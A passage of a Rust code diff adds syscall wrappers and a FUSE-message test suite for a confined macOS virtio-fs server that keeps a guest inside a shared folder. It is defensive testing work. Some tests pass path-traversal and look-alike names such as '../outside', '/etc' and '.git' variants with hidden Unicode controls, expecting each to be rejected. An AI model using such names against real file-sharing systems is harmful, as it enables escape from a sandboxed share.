++#[derive(Clone, Copy, Debug)] ++pub struct Host { ++ pub unique: bool, ++} ++ ++impl Host { ++ /// `openat` relative to a held directory: never a path open, never a symlink anywhere (R2). ++ /// `O_NOFOLLOW_ANY` covers the last component too (the kernel refuses it together with `O_NOFOLLOW`). ++ pub fn openat(&self, dir: RawFd, name: &CStr, flags: c_int, mode: libc::mode_t) -> io::Result { ++ let mut flags = flags | libc::O_CLOEXEC | libc::O_NOFOLLOW_ANY | O_RESOLVE_BENEATH; ++ if self.unique { ++ flags |= O_UNIQUE; ++ } ++ // SAFETY: `name` is a valid C string; the descriptor is owned on success. ++ let fd = check(unsafe { libc::openat(dir, name.as_ptr(), flags, mode as c_uint) })?; ++ Ok(unsafe { OwnedFd::from_raw_fd(fd) }) ++ } ++ ++ fn at_flags(&self) -> c_int { ++ let flags = AT_SYMLINK_NOFOLLOW_ANY | AT_RESOLVE_BENEATH; ++ if self.unique { ++ flags | AT_UNIQUE ++ } else { ++ flags ++ } ++ } ++ ++ /// `fstatat` of the entry itself (a link is reported, never followed). ++ pub fn fstatat(&self, dir: RawFd, name: &CStr) -> io::Result { ++ let mut st = MaybeUninit::::zeroed(); ++ // SAFETY: the kernel writes the whole struct on success; the result is checked. ++ check(unsafe { libc::fstatat(dir, name.as_ptr(), st.as_mut_ptr(), libc::AT_SYMLINK_NOFOLLOW | self.at_flags()) })?; ++ Ok(unsafe { st.assume_init() }) ++ } ++ ++ pub fn mkdirat(&self, dir: RawFd, name: &CStr, mode: libc::mode_t) -> io::Result<()> { ++ check(unsafe { libc::mkdirat(dir, name.as_ptr(), mode) }).map(drop) ++ } ++ ++ pub fn symlinkat(&self, target: &CStr, dir: RawFd, name: &CStr) -> io::Result<()> { ++ check(unsafe { libc::symlinkat(target.as_ptr(), dir, name.as_ptr()) }).map(drop) ++ } ++ ++ pub fn unlinkat(&self, dir: RawFd, name: &CStr, directory: bool) -> io::Result<()> { ++ let flags = self.at_flags() | if directory { libc::AT_REMOVEDIR } else { 0 }; ++ check(unsafe { libc::unlinkat(dir, name.as_ptr(), flags) }).map(drop) ++ } ++ ++ /// `linkat` never follows the source (no `AT_SYMLINK_FOLLOW`). ++ pub fn linkat(&self, old_dir: RawFd, old: &CStr, new_dir: RawFd, new: &CStr) -> io::Result<()> { ++ check(unsafe { libc::linkat(old_dir, old.as_ptr(), new_dir, new.as_ptr(), self.at_flags()) }).map(drop) ++ } ++ ++ /// `renameatx_np`, never `renameat`; `extra` is `RENAME_EXCL` or `RENAME_SWAP` or 0. ++ pub fn renameat(&self, old_dir: RawFd, old: &CStr, new_dir: RawFd, new: &CStr, extra: c_uint) -> io::Result<()> { ++ let flags = RENAME_NOFOLLOW_ANY | RENAME_RESOLVE_BENEATH | extra; ++ check(unsafe { libc::renameatx_np(old_dir, old.as_ptr(), new_dir, new.as_ptr(), flags) }).map(drop) ++ } ++ ++ pub fn readlinkat(&self, dir: RawFd, name: &CStr) -> io::Result> { ++ let mut buf = vec![0u8; libc::PATH_MAX as usize + 1]; ++ let n = unsafe { libc::readlinkat(dir, name.as_ptr(), buf.as_mut_ptr().cast(), buf.len()) }; ++ if n < 0 { ++ return Err(host_err()); ++ } ++ buf.truncate(n as usize); ++ Ok(buf) ++ } ++} ++ ++pub fn fstat(fd: &OwnedFd) -> io::Result { ++ let mut st = MaybeUninit::::zeroed(); ++ check(unsafe { libc::fstat(fd.as_raw_fd(), st.as_mut_ptr()) })?; ++ Ok(unsafe { st.assume_init() }) ++} ++ ++pub fn fstat_raw(fd: RawFd) -> io::Result { ++ let mut st = MaybeUninit::::zeroed(); ++ check(unsafe { libc::fstat(fd, st.as_mut_ptr()) })?; ++ Ok(unsafe { st.assume_init() }) ++} ++ ++/// Clears `O_NONBLOCK` (set on every reopen, R2) once the descriptor is known to be a regular file. ++pub fn clear_nonblock(fd: RawFd) -> io::Result<()> { ++ let flags = check(unsafe { libc::fcntl(fd, libc::F_GETFL) })?; ++ check(unsafe { libc::fcntl(fd, libc::F_SETFL, flags & !libc::O_NONBLOCK) }).map(drop) ++} ++ ++pub fn fchmod(fd: RawFd, mode: libc::mode_t) -> io::Result<()> { ++ check(unsafe { libc::fchmod(fd, mode) }).map(drop) ++} ++ ++pub fn ftruncate(fd: RawFd, size: i64) -> io::Result<()> { ++ check(unsafe { libc::ftruncate(fd, size) }).map(drop) ++} ++ ++pub fn futimens(fd: RawFd, times: &[libc::timespec; 2]) -> io::Result<()> { ++ check(unsafe { libc::futimens(fd, times.as_ptr()) }).map(drop) ++} ++ ++pub fn full_fsync(fd: RawFd) -> io::Result<()> { ++ check(unsafe { libc::fcntl(fd, libc::F_FULLFSYNC) }).map(drop) ++} ++ ++pub fn fsync(fd: RawFd) -> io::Result<()> { ++ check(unsafe { libc::fsync(fd) }).map(drop) ++} ++ ++pub fn lseek(fd: RawFd, offset: i64, whence: c_int) -> io::Result { ++ let res = unsafe { libc::lseek(fd, offset, whence) }; ++ if res < 0 { ++ Err(host_err()) ++ } else { ++ Ok(res as u64) ++ } ++} ++ ++pub fn fstatvfs(fd: RawFd) -> io::Result { ++ let mut st = MaybeUninit::::zeroed(); ++ check(unsafe { libc::fstatvfs(fd, st.as_mut_ptr()) })?; ++ Ok(unsafe { st.assume_init() }) ++} +diff --git a/src/devices/src/virtio/fs/macos/confined/tests.rs b/src/devices/src/virtio/fs/macos/confined/tests.rs +new file mode 100644 +index 0000000..79d4ad1 +--- /dev/null ++++ b/src/devices/src/virtio/fs/macos/confined/tests.rs +@@ -0,0 +1,1515 @@ ++// In-process FUSE-message harness for the confined server: real request bytes in guest memory, a real ++// descriptor chain, `Server::handle_confined_message`, and temporary trees under the system temp ++// directory. No VM, no worker, no device thread. ++ ++use std::collections::BTreeMap; ++use std::ffi::CString; ++use std::fs; ++use std::os::fd::{AsRawFd, OwnedFd}; ++use std::os::unix::ffi::OsStrExt; ++use std::os::unix::fs::{MetadataExt, PermissionsExt}; ++use std::path::{Path, PathBuf}; ++use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering}; ++use std::sync::{mpsc, Arc}; ++use std::thread; ++use std::time::Duration; ++ ++use vm_memory::{ByteValued, Bytes, GuestAddress, GuestMemoryMmap}; ++ ++use super::*; ++use crate::virtio::descriptor_utils::{create_descriptor_chain, DescriptorType, Reader, Writer}; ++use crate::virtio::fs::fuse::*; ++use crate::virtio::fs::server::confined_dispatch::{confined_init_flags, CONFINED_MAX_PAGES, CONFINED_MAX_WRITE}; ++use crate::virtio::fs::server::Server; ++ ++const UID: u32 = 4242; ++const GID: u32 = 4343; ++const MEM: usize = 4 << 20; ++const REQ: u64 = 0x1000; ++const REPLY_CAP: u32 = (1 << 20) + 0x2000; ++const ENOMEM: i32 = 12; ++// Linux open flags. ++const RDONLY: u32 = 0; ++const WRONLY: u32 = 1; ++const RDWR: u32 = 2; ++const TRUNC: u32 = 0o1000; ++ ++static NEXT_TREE: AtomicUsize = AtomicUsize::new(0); ++ ++/// A fresh directory under the system temp directory, removed on drop. ++struct TempTree(PathBuf); ++ ++impl TempTree { ++ fn new() -> Self { ++ let path = std::env::temp_dir().join(format!("confined-{}-{}", std::process::id(), NEXT_TREE.fetch_add(1, Ordering::SeqCst))); ++ let _ = fs::remove_dir_all(&path); ++ fs::create_dir(&path).unwrap(); ++ TempTree(path.canonicalize().unwrap()) ++ } ++} ++ ++impl Drop for TempTree { ++ fn drop(&mut self) { ++ let _ = fs::remove_dir_all(&self.0); ++ } ++} ++ ++fn flags(read_only: bool, winter_share: bool) -> ShareFlags { ++ ShareFlags { read_only, winter_share, folder_rules: false } ++} ++ ++fn root_fd(path: &Path) -> OwnedFd { ++ OwnedFd::from(fs::File::open(path).unwrap()) ++} ++ ++struct Reply { ++ error: i32, ++ body: Vec, ++ /// The 64 bytes of the reply area right after the reply. ++ after: Vec, ++} ++ ++impl Reply { ++ fn obj(&self) -> T { ++ assert_eq!(self.error, 0, "expected success"); ++ T::from_slice(&self.body[..std::mem::size_of::()]).copied().unwrap() ++ } ++} ++ ++struct Share { ++ _tree: TempTree, ++ root: PathBuf, ++ outside: PathBuf, ++ server: Server, ++ mem: GuestMemoryMmap, ++ unique: u64, ++ /// The byte the reply area is filled with before each request. ++ fill: u8, ++} ++ ++impl Share { ++ fn new(flags: ShareFlags) -> Self { ++ Self::build(flags, |_| {}) ++ } ++ ++ /// `prepare` fills the tree before the server opens the root. ++ fn build(flags: ShareFlags, prepare: impl FnOnce(&Path)) -> Self { ++ let tree = TempTree::new(); ++ let root = tree.0.join("root"); ++ let outside = tree.0.join("outside"); ++ fs::create_dir(&root).unwrap(); ++ fs::create_dir(&outside).unwrap(); ++ fs::write(outside.join("secret"), b"SECRET").unwrap(); ++ prepare(&root); ++ let fs = ConfinedFs::new(ConfinedConfig { root: root_fd(&root), flags, guest_path: CString::new("/workspace/folders/test").unwrap() }).unwrap(); ++ Self::with_fs(tree, root, outside, fs) ++ } ++ ++ fn with_fs(tree: TempTree, root: PathBuf, outside: PathBuf, fs: ConfinedFs) -> Self { ++ let mem = GuestMemoryMmap::from_ranges(&[(GuestAddress(0), MEM)]).unwrap(); ++ let mut share = Share { _tree: tree, root, outside, server: Server::new(fs), mem, unique: 0, fill: 0 }; ++ let init = share.init(u32::MAX, u32::MAX); ++ assert_eq!(init.error, 0); ++ share ++ } ++ ++ fn fs(&self) -> &ConfinedFs { ++ self.server.confined_fs() ++ } ++ ++ fn raw(&mut self, opcode: u32, nodeid: u64, body: &[u8], header_len: Option) -> Option { ++ self.unique += 1; ++ let len = header_len.unwrap_or((std::mem::size_of::() + body.len()) as u32); ++ let header = InHeader { len, opcode, unique: self.unique, nodeid, uid: UID, gid: GID, pid: 1, padding: 0 }; ++ let mut request = header.as_slice().to_vec(); ++ request.extend_from_slice(body); ++ self.mem.write_slice(&request, GuestAddress(REQ)).unwrap(); ++ let reply_at = GuestAddress(REQ + request.len() as u64); ++ self.mem.write_slice(&vec![self.fill; REPLY_CAP as usize], reply_at).unwrap(); ++ let chain = create_descriptor_chain( ++ &self.mem, ++ GuestAddress(0), ++ GuestAddress(REQ), ++ // As the Linux driver lays it out: the reply header in its own descriptor. ++ vec![ ++ (DescriptorType::Readable, request.len() as u32), ++ (DescriptorType::Writable, std::mem::size_of::() as u32), ++ (DescriptorType::Writable, REPLY_CAP - std::mem::size_of::() as u32), ++ ], ++ 0, ++ ) ++ .unwrap(); ++ let reader = Reader::new(&self.mem, chain.clone()).unwrap(); ++ let writer = Writer::new(&self.mem, chain).unwrap(); ++ let written = self.server.handle_confined_message(reader, writer).expect("server error"); ++ if written == 0 { ++ return None; ++ } ++ let mut out = vec![0u8; written]; ++ self.mem.read_slice(&mut out, reply_at).unwrap(); ++ let mut after = vec![0u8; 64]; ++ self.mem.read_slice(&mut after, GuestAddress(reply_at.0 + written as u64)).unwrap(); ++ let header = *OutHeader::from_slice(&out[..std::mem::size_of::()]).unwrap(); ++ assert_eq!(header.unique, self.unique); ++ assert_eq!(header.len as usize, written); ++ Some(Reply { error: -header.error, body: out[std::mem::size_of::()..].to_vec(), after }) ++ } ++ ++ fn call(&mut self, opcode: Opcode, nodeid: u64, body: &[u8]) -> Reply { ++ self.raw(opcode as u32, nodeid, body, None).expect("a reply") ++ } ++ ++ fn init(&mut self, flags: u32, flags2: u32) -> Reply { ++ let mut body = InitInCompat { major: KERNEL_VERSION, minor: KERNEL_MINOR_VERSION, max_readahead: 1 << 17, flags }.as_slice().to_vec(); ++ if FsOptions::from_bits_truncate(flags as u64).contains(FsOptions::INIT_EXT) { ++ body.extend_from_slice(InitInExt { flags2, unused: [0; 11] }.as_slice()); ++ } ++ self.call(Opcode::Init, 0, &body) ++ } ++ ++ fn lookup(&mut self, parent: u64, name: &[u8]) -> Reply { ++ self.call(Opcode::Lookup, parent, &nul(name)) ++ } ++ ++ fn node(&mut self, parent: u64, name: &[u8]) -> u64 { ++ let reply = self.lookup(parent, name); ++ assert_eq!(reply.error, 0, "lookup {:?}", String::from_utf8_lossy(name)); ++ reply.obj::().nodeid ++ } ++ ++ fn mkdir(&mut self, parent: u64, name: &[u8], mode: u32) -> Reply { ++ let mut body = MkdirIn { mode, umask: 0 }.as_slice().to_vec(); ++ body.extend(nul(name)); ++ self.call(Opcode::Mkdir, parent, &body) ++ } ++ ++ fn create(&mut self, parent: u64, name: &[u8], mode: u32, flags: u32) -> Reply { ++ let mut body = CreateIn { flags, mode, umask: 0, open_flags: 0 }.as_slice().to_vec(); ++ body.extend(nul(name)); ++ self.call(Opcode::Create, parent, &body) ++ } ++ ++ /// (node, handle) of a new file. ++ fn create_ok(&mut self, parent: u64, name: &[u8], mode: u32) -> (u64, u64) { ++ let reply = self.create(parent, name, mode, RDWR); ++ assert_eq!(reply.error, 0); ++ let entry: EntryOut = reply.obj(); ++ let open = *OpenOut::from_slice(&reply.body[std::mem::size_of::()..][..std::mem::size_of::()]).unwrap(); ++ (entry.nodeid, open.fh) ++ } ++ ++ fn open(&mut self, node: u64, flags: u32) -> Reply { ++ self.call(Opcode::Open, node, OpenIn { flags, open_flags: 0 }.as_slice()) ++ } ++ ++ fn open_ok(&mut self, node: u64, flags: u32) -> u64 { ++ self.open(node, flags).obj::().fh ++ } ++ ++ fn read(&mut self, node: u64, fh: u64, offset: u64, size: u32) -> Reply { ++ self.call(Opcode::Read, node, ReadIn { fh, offset, size, ..Default::default() }.as_slice()) ++ } ++ ++ fn write(&mut self, node: u64, fh: u64, offset: u64, data: &[u8]) -> Reply { ++ let mut body = WriteIn { fh, offset, size: data.len() as u32, ..Default::default() }.as_slice().to_vec(); ++ body.extend_from_slice(data); ++ self.call(Opcode::Write, node, &body) ++ } ++ ++ fn release(&mut self, node: u64, fh: u64) -> Reply { ++ self.call(Opcode::Release, node, ReleaseIn { fh, ..Default::default() }.as_slice()) ++ } ++ ++ fn getattr(&mut self, node: u64) -> Reply { ++ self.call(Opcode::Getattr, node, GetattrIn::default().as_slice()) ++ } ++ ++ fn setattr(&mut self, node: u64, valid: u32, mode: u32, size: u64) -> Reply { ++ self.call(Opcode::Setattr, node, SetattrIn { valid, mode, size, ..Default::default() }.as_slice()) ++ } ++ ++ fn remove(&mut self, opcode: Opcode, parent: u64, name: &[u8]) -> Reply { ++ self.call(opcode, parent, &nul(name)) ++ } ++ ++ fn rename(&mut self, olddir: u64, old: &[u8], newdir: u64, new: &[u8]) -> Reply { ++ let mut body = RenameIn { newdir }.as_slice().to_vec(); ++ body.extend(nul(old)); ++ body.extend(nul(new)); ++ self.call(Opcode::Rename, olddir, &body) ++ } ++ ++ fn rename2(&mut self, olddir: u64, old: &[u8], newdir: u64, new: &[u8], flags: u32) -> Reply { ++ let mut body = Rename2In { newdir, flags, padding: 0 }.as_slice().to_vec(); ++ body.extend(nul(old)); ++ body.extend(nul(new)); ++ self.call(Opcode::Rename2, olddir, &body) ++ } ++ ++ fn link(&mut self, node: u64, newparent: u64, name: &[u8]) -> Reply { ++ let mut body = LinkIn { oldnodeid: node }.as_slice().to_vec(); ++ body.extend(nul(name)); ++ self.call(Opcode::Link, newparent, &body) ++ } ++ ++ fn symlink(&mut self, parent: u64, name: &[u8], target: &[u8]) -> Reply { ++ let mut body = nul(name); ++ body.extend(nul(target)); ++ self.call(Opcode::Symlink, parent, &body) ++ } ++ ++ fn mknod(&mut self, parent: u64, name: &[u8], mode: u32) -> Reply { ++ let mut body = MknodIn { mode, rdev: 0, umask: 0, padding: 0 }.as_slice().to_vec(); ++ body.extend(nul(name)); ++ self.call(Opcode::Mknod, parent, &body) ++ } ++ ++ fn forget(&mut self, node: u64, count: u64) { ++ assert!(self.raw(Opcode::Forget as u32, node, ForgetIn { nlookup: count }.as_slice(), None).is_none()); ++ } ++ ++ fn opendir(&mut self, node: u64) -> Reply { ++ self.call(Opcode::Opendir, node, OpenIn::default().as_slice()) ++ } ++ ++ fn readdir_names(&mut self, node: u64, plus: bool) -> Vec<(String, u64)> { ++ let fh = self.opendir(node).obj::().fh; ++ let opcode = if plus { Opcode::Readdirplus } else { Opcode::Readdir }; ++ let reply = self.call(opcode, node, ReadIn { fh, offset: 0, size: 65536, ..Default::default() }.as_slice()); ++ assert_eq!(reply.error, 0); ++ let mut names = Vec::new(); ++ let mut at = 0; ++ while at < reply.body.len() { ++ let mut nodeid = 0; ++ if plus { ++ nodeid = EntryOut::from_slice(&reply.body[at..at + std::mem::size_of::()]).unwrap().nodeid; ++ at += std::mem::size_of::(); ++ } ++ let dirent = *Dirent::from_slice(&reply.body[at..at + std::mem::size_of::()]).unwrap(); ++ at += std::mem::size_of::(); ++ names.push((String::from_utf8(reply.body[at..at + dirent.namelen as usize].to_vec()).unwrap(), nodeid)); ++ at += (dirent.namelen as usize + 7) & !7; ++ } ++ self.call(Opcode::Releasedir, node, ReleaseIn { fh, ..Default::default() }.as_slice()); ++ names.sort(); ++ names ++ } ++ ++ /// One READDIR or READDIRPLUS page: (name, next offset, node id, padding bytes). ++ fn readdir_page(&mut self, node: u64, fh: u64, offset: u64, size: u32, plus: bool) -> Vec<(String, u64, u64, Vec)> { ++ let opcode = if plus { Opcode::Readdirplus } else { Opcode::Readdir }; ++ let reply = self.call(opcode, node, ReadIn { fh, offset, size, ..Default::default() }.as_slice()); ++ assert_eq!(reply.error, 0); ++ let mut out = Vec::new(); ++ let mut at = 0; ++ while at < reply.body.len() { ++ let mut nodeid = 0; ++ if plus { ++ nodeid = EntryOut::from_slice(&reply.body[at..at + std::mem::size_of::()]).unwrap().nodeid; ++ at += std::mem::size_of::(); ++ } ++ let dirent = *Dirent::from_slice(&reply.body[at..at + std::mem::size_of::()]).unwrap(); ++ at += std::mem::size_of::(); ++ let len = dirent.namelen as usize; ++ let name = String::from_utf8(reply.body[at..at + len].to_vec()).unwrap(); ++ let padded = (len + 7) & !7; ++ out.push((name, dirent.off, nodeid, reply.body[at + len..at + padded].to_vec())); ++ at += padded; ++ } ++ out ++ } ++ ++ fn handle_fd(&self, fh: u64) -> i32 { ++ self.fs().lock().handles[&fh].fd() ++ } ++} ++ ++fn nul(name: &[u8]) -> Vec { ++ let mut v = name.to_vec(); ++ v.push(0); ++ v ++} ++ ++/// Every entry below `root`: type, permission bits, size and content or link text. ++fn snapshot(root: &Path) -> BTreeMap)> { ++ fn walk(root: &Path, dir: &Path, out: &mut BTreeMap)>) { ++ for entry in fs::read_dir(dir).unwrap() { ++ let path = entry.unwrap().path(); ++ let meta = fs::symlink_metadata(&path).unwrap(); ++ let data = if meta.file_type().is_symlink() { ++ fs::read_link(&path).unwrap().as_os_str().as_bytes().to_vec() ++ } else if meta.is_file() { ++ fs::read(&path).unwrap() ++ } else { ++ Vec::new() ++ }; ++ out.insert(path.strip_prefix(root).unwrap().to_path_buf(), (meta.mode(), meta.len(), data)); ++ if meta.is_dir() { ++ walk(root, &path, out); ++ } ++ } ++ } ++ let mut out = BTreeMap::new(); ++ walk(root, root, &mut out); ++ out ++} ++ ++fn raise_nofile(want: u64) { ++ let mut rl = libc::rlimit { rlim_cur: 0, rlim_max: 0 }; ++ unsafe { libc::getrlimit(libc::RLIMIT_NOFILE, &mut rl) }; ++ if rl.rlim_cur < want { ++ rl.rlim_cur = want.min(rl.rlim_max); ++ assert_eq!(unsafe { libc::setrlimit(libc::RLIMIT_NOFILE, &rl) }, 0); ++ } ++} ++ ++fn mode_of(path: &Path) -> u32 { ++ fs::symlink_metadata(path).unwrap().permissions().mode() & 0o7777 ++} ++ ++fn mkfifo(path: &Path) { ++ let c = CString::new(path.as_os_str().as_bytes()).unwrap(); ++ assert_eq!(unsafe { libc::mkfifo(c.as_ptr(), 0o644) }, 0); ++} ++ ++fn swap(a: &Path, b: &Path) -> bool { ++ let a = CString::new(a.as_os_str().as_bytes()).unwrap(); ++ let b = CString::new(b.as_os_str().as_bytes()).unwrap(); ++ unsafe { libc::renamex_np(a.as_ptr(), b.as_ptr(), libc::RENAME_SWAP) == 0 } ++} ++ ++/// Runs `f` on its own thread and fails the test if it does not finish in time (a FIFO open that blocks). ++fn within(seconds: u64, f: impl FnOnce() -> T + Send + 'static) -> T { ++ let (tx, rx) = mpsc::channel(); ++ thread::spawn(move || { ++ let _ = tx.send(f()); ++ }); ++ rx.recv_timeout(Duration::from_secs(seconds)).expect("the device thread blocked") ++} ++ ++// ---- R0: opcode allowlist, INIT ---------------------------------------------------------------------- ++ ++#[test] ++fn r0_init_negotiates_only_the_confined_set_and_256_pages() { ++ let mut share = Share::new(flags(false, false)); ++ assert_eq!(confined_init_flags(), FsOptions::ASYNC_READ | FsOptions::BIG_WRITES | FsOptions::AUTO_INVAL_DATA | FsOptions::MAX_PAGES); ++ let out: InitOut = share.init(u32::MAX, u32::MAX).obj(); ++ let enabled = FsOptions::from_bits_truncate(((out.flags2 as u64) << 32) | out.flags as u64); ++ assert_eq!(enabled, confined_init_flags()); ++ for refused in [ ++ FsOptions::WRITEBACK_CACHE, ++ FsOptions::POSIX_ACL, ++ FsOptions::SUBMOUNTS, ++ FsOptions::HANDLE_KILLPRIV_V2, ++ FsOptions::HANDLE_KILLPRIV, ++ FsOptions::SECURITY_CTX, ++ FsOptions::ALLOW_IDMAP, ++ FsOptions::CACHE_SYMLINKS, ++ FsOptions::ZERO_MESSAGE_OPEN, ++ FsOptions::DO_READDIRPLUS, ++ FsOptions::HAS_INODE_DAX, ++ FsOptions::POSIX_LOCKS, ++ FsOptions::FLOCK_LOCKS, ++ FsOptions::HAS_IOCTL_DIR, ++ FsOptions::DONT_MASK, ++ FsOptions::EXPORT_SUPPORT, ++ FsOptions::ATOMIC_O_TRUNC, ++ FsOptions::INIT_EXT, ++ ] { ++ assert!(!enabled.intersects(refused), "{refused:?}"); ++ } ++ assert_eq!(out.flags2, 0); ++ assert_eq!(out.max_pages, 256); ++ assert_eq!(CONFINED_MAX_PAGES, 256); ++ assert_eq!(out.max_write, 1 << 20); ++ assert_eq!(CONFINED_MAX_WRITE, 1 << 20); ++ assert_eq!(out.map_alignment, 0); ++ // A guest that offers nothing gets nothing, and still 256 pages. ++ let out: InitOut = share.init(0, 0).obj(); ++ assert_eq!((out.flags, out.flags2, out.max_pages), (0, 0, 256)); ++ // An old protocol is refused. ++ let body = InitInCompat { major: 7, minor: 26, max_readahead: 0, flags: 0 }; ++ assert_eq!(share.call(Opcode::Init, 0, body.as_slice()).error, 71); ++} ++ ++#[test] ++fn r0_every_opcode_outside_the_allowlist_answers_enosys() { ++ let mut share = Share::build(flags(false, false), |root| fs::write(root.join("f"), b"x").unwrap()); ++ let before = snapshot(&share.root); ++ let file = share.node(1, b"f"); ++ // The xattr family, locks, BMAP, IOCTL, POLL, NOTIFY_REPLY, COPY_FILE_RANGE, the DAX mapping pair ++ // (R6), SYNCFS (50), TMPFILE (51), STATX (52) and opcodes no kernel sends today. ++ let refused = [21u32, 22, 23, 24, 31, 32, 33, 37, 39, 40, 41, 47, 48, 49, 50, 51, 52, 53, 54, 0, 7, 19, 4096, 0xffff_ffff]; ++ for opcode in refused { ++ for node in [1, file] { ++ let reply = share.raw(opcode, node, &[0u8; 96], None).expect("a reply"); ++ assert_eq!(reply.error, lx::ENOSYS, "opcode {opcode}"); ++ } ++ } ++ assert_eq!(snapshot(&share.root), before); ++} ++ ++#[test] ++fn r0_every_allowlisted_opcode_reaches_the_filesystem() { ++ let mut share = Share::build(flags(false, false), |root| { ++ fs::write(root.join("f"), b"data").unwrap(); ++ fs::create_dir(root.join("d")).unwrap(); ++ }); ++ let file = share.node(1, b"f"); ++ let dir = share.node(1, b"d"); ++ let fh = share.open_ok(file, RDWR); ++ let dh = share.opendir(dir).obj::().fh; ++ let replies: Vec<(Opcode, Reply)> = vec![ ++ (Opcode::Getattr, share.getattr(file)), ++ (Opcode::Setattr, share.setattr(file, 1, 0o644, 0)), ++ (Opcode::Readlink, share.call(Opcode::Readlink, file, &[])), ++ (Opcode::Symlink, share.symlink(1, b"s", b"f")), ++ (Opcode::Mkdir, share.mkdir(1, b"m", 0o755)), ++ (Opcode::Unlink, share.remove(Opcode::Unlink, 1, b"s")), ++ (Opcode::Rmdir, share.remove(Opcode::Rmdir, 1, b"m")), ++ (Opcode::Rename, share.rename(1, b"f", 1, b"g")), ++ (Opcode::Rename2, share.rename2(1, b"g", 1, b"f", 0)), ++ (Opcode::Link, share.link(file, 1, b"f2")), ++ (Opcode::Open, share.open(file, RDONLY)), ++ (Opcode::Read, share.read(file, fh, 0, 4)), ++ (Opcode::Write, share.write(file, fh, 0, b"data")), ++ (Opcode::Statfs, share.call(Opcode::Statfs, 1, &[])), ++ (Opcode::Flush, share.call(Opcode::Flush, file, FlushIn { fh, ..Default::default() }.as_slice())), ++ (Opcode::Fsync, share.call(Opcode::Fsync, file, FsyncIn { fh, ..Default::default() }.as_slice())), ++ (Opcode::Fallocate, share.call(Opcode::Fallocate, file, FallocateIn { fh, offset: 0, length: 8, mode: 0, padding: 0 }.as_slice())), ++ (Opcode::Lseek, share.call(Opcode::Lseek, file, LseekIn { fh, offset: 0, whence: 3, padding: 0 }.as_slice())), ++ (Opcode::Access, share.call(Opcode::Access, file, AccessIn { mask: 4, padding: 0 }.as_slice())), ++ (Opcode::Create, share.create(1, b"c", 0o644, WRONLY)), ++ (Opcode::Readdir, share.call(Opcode::Readdir, dir, ReadIn { fh: dh, size: 4096, ..Default::default() }.as_slice())), ++ (Opcode::Readdirplus, share.call(Opcode::Readdirplus, dir, ReadIn { fh: dh, size: 4096, ..Default::default() }.as_slice())), ++ (Opcode::Fsyncdir, share.call(Opcode::Fsyncdir, dir, FsyncIn { fh: dh, ..Default::default() }.as_slice())), ++ (Opcode::Releasedir, share.call(Opcode::Releasedir, dir, ReleaseIn { fh: dh, ..Default::default() }.as_slice())), ++ (Opcode::Release, share.release(file, fh)), ++ (Opcode::Mknod, share.mknod(1, b"n", libc::S_IFIFO as u32 | 0o644)), ++ ]; ++ for (opcode, reply) in replies { ++ assert_ne!(reply.error, lx::ENOSYS, "{opcode:?}"); ++ } ++ // Requests that take no reply. ++ share.forget(file, 1); ++ let mut batch = BatchForgetIn { count: 1, dummy: 0 }.as_slice().to_vec(); ++ batch.extend_from_slice(ForgetOne { nodeid: dir, nlookup: 1 }.as_slice()); ++ assert!(share.raw(Opcode::BatchForget as u32, 0, &batch, None).is_none()); ++ assert!(share.raw(Opcode::Interrupt as u32, 0, InterruptIn { unique: 1 }.as_slice(), None).is_none()); ++ assert!(share.raw(Opcode::Destroy as u32, 0, &[], None).is_none()); ++} ++ ++#[test] ++fn r0_rename2_setattr_and_fallocate_take_only_the_allowed_forms() { ++ let mut share = Share::build(flags(false, false), |root| { ++ fs::write(root.join("a"), b"a").unwrap(); ++ fs::write(root.join("b"), b"b").unwrap(); ++ }); ++ let a = share.node(1, b"a"); ++ // RENAME_WHITEOUT and unknown flags. ++ for bad in [4, 8, 3, 0x100] { ++ assert_eq!(share.rename2(1, b"a", 1, b"c", bad).error, lx::EINVAL); ++ } ++ assert_eq!(share.rename2(1, b"a", 1, b"b", 1).error, lx::EEXIST); ++ assert_eq!(share.rename2(1, b"a", 1, b"b", 2).error, 0); ++ assert_eq!(fs::read(share.root.join("a")).unwrap(), b"b"); ++ assert_eq!(fs::read(share.root.join("b")).unwrap(), b"a"); ++ // SETATTR: ownership is never changed. ++ let uid_change = 2; ++ let gid_change = 4; ++ assert_eq!(share.setattr(a, uid_change, 0, 0).error, lx::EPERM); ++ assert_eq!(share.setattr(a, gid_change, 0, 0).error, lx::EPERM); ++ // FALLOCATE: mode 0 only. ++ let fh = share.open_ok(a, RDWR); ++ for mode in [1u32, 2, 8, 0x10, 0x20] { ++ let body = FallocateIn { fh, offset: 0, length: 4096, mode, padding: 0 }; ++ assert_eq!(share.call(Opcode::Fallocate, a, body.as_slice()).error, lx::EOPNOTSUPP); ++ } ++ let body = FallocateIn { fh, offset: 0, length: 4096, mode: 0, padding: 0 }; ++ assert_eq!(share.call(Opcode::Fallocate, a, body.as_slice()).error, 0); ++ assert_eq!(fs::metadata(share.root.join("b")).unwrap().len(), 4096); ++} ++ ++// ---- R1: names ----------------------------------------------------------------------------------- ++ ++fn bad_names() -> Vec> { ++ let mut names = vec![b"".to_vec(), b".".to_vec(), b"..".to_vec(), b"a/b".to_vec(), b"/etc".to_vec(), b"../outside".to_vec(), vec![b'a'; 256], vec![b'a', 0xff, 0xfe], vec![0xc0, 0xaf]]; ++ for cp in (0x200Cu32..=0x200F).chain(0x202A..=0x202E).chain(0x206A..=0x206F).chain([0xFEFF]) { ++ names.push(format!(".g{}it", char::from_u32(cp).unwrap()).into_bytes()); ++ } ++ names ++} ++ ++#[test] ++fn r1_check_name_clauses() { ++ for name in bad_names() { ++ assert_eq!(check_name(&name).unwrap_err().raw_os_error(), Some(lx::EINVAL), "{name:?}"); ++ } ++ assert_eq!(check_name(b"a\0b").unwrap_err().raw_os_error(), Some(lx::EINVAL)); ++ for good in ["a", "...", ".git", "\u{200B}x", "\u{2010}", "\u{2029}", "\u{202F}", "\u{2069}", "\u{2070}", "\u{FEFE}", "\u{FF00}", "caf\u{e9}"] { ++ assert!(check_name(good.as_bytes()).is_ok(), "{good:?}"); ++ } ++ assert!(check_name(&[b'a'; 255]).is_ok()); ++ assert_eq!(NAME_MAX, 255); ++} ++ ++#[test] ++fn r1_every_name_taking_operation_refuses_bad_names() { ++ let mut share = Share::build(flags(false, false), |root| { ++ fs::write(root.join("f"), b"x").unwrap(); ++ fs::create_dir(root.join("d")).unwrap(); ++ }); ++ let file = share.node(1, b"f"); ++ let before = snapshot(&share.root); ++ for name in bad_names() { ++ let replies = [ ++ share.lookup(1, &name), ++ share.create(1, &name, 0o644, WRONLY), ++ share.mkdir(1, &name, 0o755), ++ share.mknod(1, &name, libc::S_IFREG as u32 